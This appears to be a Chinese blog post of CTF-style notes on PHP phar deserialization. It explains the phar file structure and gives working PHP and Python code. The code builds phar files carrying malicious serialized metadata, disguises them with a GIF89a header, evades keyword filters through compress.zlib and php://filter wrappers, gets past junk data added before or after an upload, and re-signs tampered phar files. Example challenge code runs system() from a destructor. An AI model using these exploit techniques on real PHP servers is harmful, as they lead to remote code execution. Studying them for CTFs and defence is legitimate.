Phar

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动meta-data内的内容(phar是以序列化的方式存储内容的)。

Phar需要 PHP >= 5.2

Pahr文件结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。

phar

meta-data以序列化的方式存储数据,序列化数据必然会有反序列化操作,php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下:
phar://受影响的php函数

<?php
class Test{
    public $username = 'L1mbo';
}
$p = new Test();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
?>

验证文件格式绕过

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

关键字绕过
当一个phar文件被gzip、bzip2、tar、zip等操作过后,依然可以利用phar://协议来正常读取,但文件被操作过后就全变成乱码了,利用这个就可以绕过过滤

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar

绕过文件头部脏数据

如:

<?php
highlight_file(__FILE__);
class flag{
    public $cmd;
    public function __destruct()
    {
        system($this->cmd);
    }
}

$dirty="dirty............dirty..............dirty";

$file=file_get_contents($_POST['file']);
$newfile=$dirty.$file;
file_put_contents("./phar/new.phar",$newfile);
echo file_get_contents("phar://./phar/new.phar")
?>

题目会往我们提交的文件内容前面添加一段脏数据导致我们的Phar文件的签名错误,Phar反序列化无法成功。
我们此时可以把脏数据提前写在Phar文件标志--sub前面($phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");)
再生成.Phar文件。然后删除文件头部的脏数据再上传,这样服务端再我们提交的数据前面再添加一段脏数据,签名正确。

<?php
class flag{
}
$a=new flag();

$dirtydata = "dirty";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);

$phar->addFromString("anything" , "test");
$phar->stopBuffering();

$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>


绕过文件尾部的脏数据

如:

<?php
error_reporting(0);
highlight_file(__FILE__);
class flag{
    public function __destruct()
    {
        system("whoami");
    }
}
$dirty="dirty";
$old=file_get_contents("./phar/phar.tar");
$new=$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar")
?>

绕过文件尾部的脏数据,不需要已知内容,我们可以使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。

<?php
class flag{
}
$a=new flag;

$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);

$phar->addFromString('L1mbo' , "test");
$phar->stopBuffering();

?>

绕过前面已知脏数据同时绕过末尾未知脏数据

如:

<?php
error_reporting(0);
highlight_file(__FILE__);
class flag{
    public function __destruct()
    {
        system("whoami");
    }
}
$front="dirty-front";
$dirty="dirty-end";
$old=file_get_contents("./phar/break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar")
?>

同样的tar

<?php
class flag{
}
$a=new flag;

$dirtydata="dirty-front";

$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();

//读取原文件,截取,删除
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>

Phar修改签名

当需要绕过wakeup或者fastdestruct的时候,需要修改phar内容,修改之后会导致签名校验失败,所以我们需要重新给文件签名。
XQLIPB2(KI_E`T32(D179%0.png

import gzip
from hashlib import sha1

file = open("test.phar","rb").read()

text = file[:-28]  #读取开始到末尾除签名外内容

last = file[-8:]   #读取最后8位的GBMB和签名flag

new_file = text+sha1(text).digest() + last  #生成新的文件内容,此时sha1正确了。

open("L1mbo.phar","wb").write(new_file)
最后修改:2023 年 11 月 09 日
如果觉得我的文章对你有用,请随意赞赏